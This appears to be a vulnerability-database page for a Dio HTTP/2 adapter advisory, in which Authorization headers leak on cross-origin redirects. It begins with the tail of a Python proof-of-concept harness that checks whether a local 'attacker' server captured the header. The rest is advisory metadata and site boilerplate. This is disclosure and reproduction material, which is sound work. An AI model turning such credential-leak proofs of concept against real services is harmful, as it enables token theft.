\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n print(stderr or \"(empty)\")\n print(\"\u2500\u2500 Exit code:\", returncode, \"\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\")\n\n # \u2500\u2500 Step 3: Evaluate results \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n parsed = parse_output(stdout, stderr)\n exploit_result = parsed.get(\"RESULT\", \"\")\n leaked_header = parsed.get(\"LEAKED_HEADER\", \"\")\n evidence_line = parsed.get(\"EVIDENCE\", \"\")\n\n if returncode == 0 and exploit_result == \"VULN_CONFIRMED\" and leaked_header:\n # Combine stdout + a snippet of stderr for the evidence field\n stderr_snippet = \"\\n\".join(\n line for line in stderr.splitlines()\n if any(tag in line for tag in (\"[ATTACKER]\", \"[RESULT]\", \"[EVIDENCE]\"))\n )[:1500]\n evidence = (\n f\"stdout: {stdout.strip()}\\n\\n\"\n f\"stderr (relevant):\\n{stderr_snippet}\"\n )\n result_data = {\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"dio_http2_adapter forwarded the original Authorization header verbatim \"\n \"to the attacker\u0027s server without stripping it when following a \"\n \"cross-origin 302 redirect. The attacker h2c server (127.0.0.1:18082) \"\n f\"received \u0027{leaked_header}\u0027.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": evidence,\n \"artifacts\": [\n \"Dockerfile\",\n \"poc_exploit.dart\",\n \"poc_pubspec.yaml\",\n \"poc.py\",\n ],\n }\n write_result(result_data)\n print(\"\\n[PASS] VULN-001 reproduced successfully.\")\n return 0\n\n elif returncode == 1 or exploit_result == \"NOT_VULNERABLE\":\n result_data = {\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n \"Container execution succeeded, but the attacker server did not \"\n \"receive the Authorization header. The vulnerability was not \"\n f\"reproduced in this environment. Parsed result: {parsed}\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": stdout + \"\\n\" + stderr,\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(\"\\n[FAIL] Vulnerability not reproduced.\")\n return 1\n\n else:\n # returncode == 2 or other unexpected failure\n result_data = {\n \"passed\": False,\n \"verdict\": \"INCOMPLETE\",\n \"reason\": (\n f\"Container execution failed or exited with an unexpected code {returncode}. \"\n \"Cause: h2c server startup error, network issue, or Dart runtime \"\n \"error. Check the stderr log and retry without --network none.\"\n ),\n \"build_command\": f\"cd {REPO_ROOT} \u0026\u0026 {build_cmd}\",\n \"run_command\": run_cmd,\n \"poc_command\": poc_cmd,\n \"evidence\": f\"exit={returncode}\\nstdout={stdout}\\nstderr={stderr}\",\n \"artifacts\": [\"Dockerfile\", \"poc_exploit.dart\", \"poc_pubspec.yaml\"],\n }\n write_result(result_data)\n print(f\"\\n[INCOMPLETE] Container exited with code {returncode}.\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-cr65-55v9-xhvv",
"modified": "2026-10-15T20:18:37Z",
"published": "2026-10-15T20:18:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cfug/dio/security/advisories/GHSA-cr65-55v9-xhvv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103030"
},
{
"type": "WEB",
"url": "https://github.com/cfug/dio/commit/9d7ac913340084f3b4987b121e076f28d637a81e"
},
{
"type": "PACKAGE",
"url": "https://github.com/cfug/dio"
},
{
"type": "WEB",
"url": "https://github.com/cfug/dio/releases/tag/http2_adapter_v2.8.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dio: Cross-origin redirect leaks sensitive request headers in `dio_http2_adapter`"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.